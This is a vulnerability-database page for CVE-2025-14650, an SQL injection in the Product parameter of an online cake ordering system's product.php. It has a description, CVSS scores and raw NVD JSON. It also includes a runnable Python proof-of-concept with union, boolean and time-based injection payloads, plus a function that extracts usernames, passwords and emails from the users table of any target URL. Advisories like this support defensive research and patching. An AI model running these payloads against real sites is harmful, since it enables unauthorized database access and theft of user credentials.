Security Vulnerability Report
中文
CVE-2025-14650 CVSS 7.3 HIGH

CVE-2025-14650

Published: 2025-12-14 08:15:40
Last Modified: 2026-04-29 01:00:02

Description

A flaw has been found in itsourcecode Online Cake Ordering System 1.0. This affects an unknown part of the file /cakeshop/product.php. Executing manipulation of the argument Product can lead to sql injection. The attack can be launched remotely. The exploit has been published and may be used.

CVSS Details

CVSS Score
7.3
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

cpe:2.3:a:admerc:online_cake_ordering_system:1.0:*:*:*:*:*:*:* - VULNERABLE
itsourcecode Online Cake Ordering System 1.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-14650 PoC - SQL Injection in Online Cake Ordering System # Target: itsourcecode Online Cake Ordering System 1.0 # Endpoint: /cakeshop/product.php # Parameter: Product (vulnerable to SQL injection) def test_sql_injection(target_url): """Test for SQL injection vulnerability in Product parameter""" # Basic injection test - single quote to trigger SQL error payload_basic = "'" # Union-based injection to extract database version payload_union = "' UNION SELECT NULL,version(),user(),database(),NULL-- -" # Boolean-based blind injection to extract table names payload_boolean = "' AND (SELECT CASE WHEN (1=1) THEN 1 ELSE 0 END)='1" # Time-based blind injection payload_time = "' AND SLEEP(5)-- -" print(f"[*] Testing SQL Injection on {target_url}") print(f"[*] Target endpoint: /cakeshop/product.php") print(f"[*] Vulnerable parameter: Product") test_cases = [ ("Basic injection", payload_basic), ("Union-based injection", payload_union), ("Boolean-based injection", payload_boolean), ("Time-based injection", payload_time) ] for test_name, payload in test_cases: try: params = {"Product": payload} response = requests.get(target_url, params=params, timeout=10) if "sql" in response.text.lower() or "error" in response.text.lower() or response.status_code >= 500: print(f"[+] {test_name}: VULNERABLE - SQL error detected") else: print(f"[-] {test_name}: Not directly vulnerable") except requests.exceptions.RequestException as e: print(f"[!] Error during {test_name}: {e}") def extract_data(target_url): """Extract sensitive data using union-based injection""" # Payload to extract users table data union_payload = "' UNION SELECT 1,username,password,email,4 FROM users-- -" print(f"[*] Attempting to extract user credentials...") params = {"Product": union_payload} try: response = requests.get(target_url, params=params, timeout=10) if response.status_code == 200: print(f"[+] Response received - check for leaked credentials") print(f"[+] Response length: {len(response.text)} bytes") except requests.exceptions.RequestException as e: print(f"[!] Extraction failed: {e}") if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve_2025_14650_poc.py <target_url>") print("Example: python cve_2025_14650_poc.py http://example.com") sys.exit(1) target = sys.argv[1].rstrip('/') test_sql_injection(target) extract_data(target) print("\n[*] PoC execution completed")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-14650", "sourceIdentifier": "[email protected]", "published": "2025-12-14T08:15:39.820", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw has been found in itsourcecode Online Cake Ordering System 1.0. This affects an unknown part of the file /cakeshop/product.php. Executing manipulation of the argument Product can lead to sql injection. The attack can be launched remotely. The exploit has been published and may be used."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 3.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "baseScore": 7.5, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "NONE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "HIGH", "exploitabilityScore": 10.0, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-74"}, {"lang": "en", "value": "CWE-89"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:admerc:online_cake_ordering_system:1.0:*:*:*:*:*:*:*", "matchCriteriaId": "6990FB82-E8CB-4B16-B293-4DDDF0627D47"}]}]}], "references": [{"url": "https://github.com/yihaofuweng/cve/issues/61", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking", "Third Party Advisory"]}, {"url": "https://itsourcecode.com/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://vuldb.com/?ctiid.336383", "source": "[email protected]", "tags": ["Permissions Required", "VDB Entry"]}, {"url": "https://vuldb.com/?id.336383", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://vuldb.com/?submit.710248", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}]}}